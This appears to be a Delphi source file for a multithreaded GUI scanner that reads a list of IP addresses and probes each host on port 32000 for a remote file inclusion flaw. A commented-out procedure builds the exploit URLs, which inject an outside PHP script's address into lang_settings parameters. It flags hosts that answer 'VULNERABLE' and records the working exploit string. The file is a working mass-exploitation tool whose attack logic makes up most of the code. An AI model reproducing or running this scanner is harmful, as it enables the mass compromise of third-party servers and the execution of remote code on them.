1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173
| unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, XPMan, Erazerz, IdBaseComponent, IdComponent,
IdTCPConnection, IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
Edit1: TEdit;
Check: TButton;
Label1: TLabel;
XPManifest1: TXPManifest;
OD: TOpenDialog;
Browse: TButton;
Memo1: TMemo;
Label2: TLabel;
Label3: TLabel;
ListBox1: TListBox;
Label4: TLabel;
Label5: TLabel;
Memo2: TMemo;
procedure CheckClick(Sender: TObject);
procedure BrowseClick(Sender: TObject);
private
{ Private declarations }
//procedure GetPage(IP: string; var vuln: bool; var xploit: string);
public
{ Public declarations }
end;
Const NbThreads = 50;
var
Form1: TForm1;
Vuln: Array[1..NbThreads] of Bool;
Xploit, IP: Array[1..NbThreads] of String;
i, j, k: integer;
implementation
Uses Unit2;
{$R *.dfm}
procedure TForm1.CheckClick(Sender: TObject);
var //ScanThread: TScan;
ScanArrayThread: Array[1..NbThreads] of TScan;
begin
For i := 1 to NbThreads do vuln[i] := false;
For i := 1 to NbThreads do xploit[i] := '';
Label4.Caption := 'Checking...' ;
{ for i := 0 to Listbox1.Items.Count - 1 do
begin
//GetPage(Listbox1.Items[i], vuln, xploit);
IP := Listbox1.Items[i];
ScanThread := TScan.Create(false);
//if vuln = true then memo1.lines.Add(xploit);
end;
}
k := 0;
if ListBox1.Items.Count >= NbThreads then
begin
for i := 0 to (ListBox1.Items.Count - 1) div NbThreads do
begin
for j := 1 to NbThreads do
begin
if k <> ListBox1.Items.Count then
begin
IP[j] := Listbox1.Items[k];
//try
ScanArrayThread[j] := TScan.Create(false);
//ScanArrayThread[j].Terminate;
//ScanArrayThread[j].WaitFor;
//finally
//ScanArrayThread[j].Free;
//end;
inc(k);
end;
end;
for j := 1 to NbThreads do
begin
ScanArrayThread[j].Terminate;
ScanArrayThread[j].WaitFor;
ScanArrayThread[j].Free;
end;
//Repeat Application.ProcessMessages;
//until ScanArrayThread[NbThreads].ThreadTerminated;
end;
end;
for i := 0 to (ListBox1.Items.Count mod NbThreads) - 1 do
begin
for j := 1 to ListBox1.Items.Count mod NbThreads do
begin
if k <> ListBox1.Items.Count then
begin
IP[j] := Listbox1.Items[k];
//try
ScanArrayThread[j] := TScan.Create(false);
//ScanArrayThread[j].Terminate;
//ScanArrayThread[j].WaitFor;
//finally
//ScanArrayThread[j].Free;
//end;
inc(k);
end;
end;
for j := 1 to (ListBox1.Items.Count - 1) mod NbThreads do
begin
ScanArrayThread[j].Terminate;
ScanArrayThread[j].WaitFor;
ScanArrayThread[j].Free;
end;
//Repeat Application.ProcessMessages;
//until ScanArrayThread[NbThreads].ThreadTerminated;
end;
Label4.Caption := 'Done' ;
end;
{procedure TForm1.GetPage(IP: string; var vuln: bool; var xploit: string);
var HTTP: TIdHTTP;
url, content: string;
Begin
HTTP := TIdHTTP.Create(nil);
Try
vuln := false;
url := 'http://' + IP + ':32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://182shaolin.free.fr/vulntest.php;';
Content := '';
Content := HTTP.Get(URL);
If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end;
url := 'http://' + IP + ':32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://182shaolin.free.fr/vulntest.php';
Content := '';
Content := HTTP.Get(URL);
If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end;
url := 'http://' + IP + ':32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://182shaolin.free.fr/vulntest.php';
Content := '';
Content := HTTP.Get(URL);
If Content = 'VULNERABLE' then begin vuln := true; xploit := url; end;
finally
HTTP.Free;
end;
end; }
procedure TForm1.BrowseClick(Sender: TObject);
var InputName, SInput: string;
input, bytes: dword;
i: integer;
begin
if OD.Execute then begin
edit1.Text := OD.FileName;
InputName := Edit1.Text;
Input := CreateFile(pchar(InputName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
i := GetFileSize(InputName);
SetLength(SInput, i);
ReadFile(input, SInput[1], i, bytes, nil);
while pos(chr(13), SInput) <> 0 do
begin
ListBox1.Items.Add(Trim(copy(SInput, 1, pos(chr(13), SInput))));
Delete(SInput, 1, pos(chr(13), SInput));
end;
end;
end;
end. |
Partager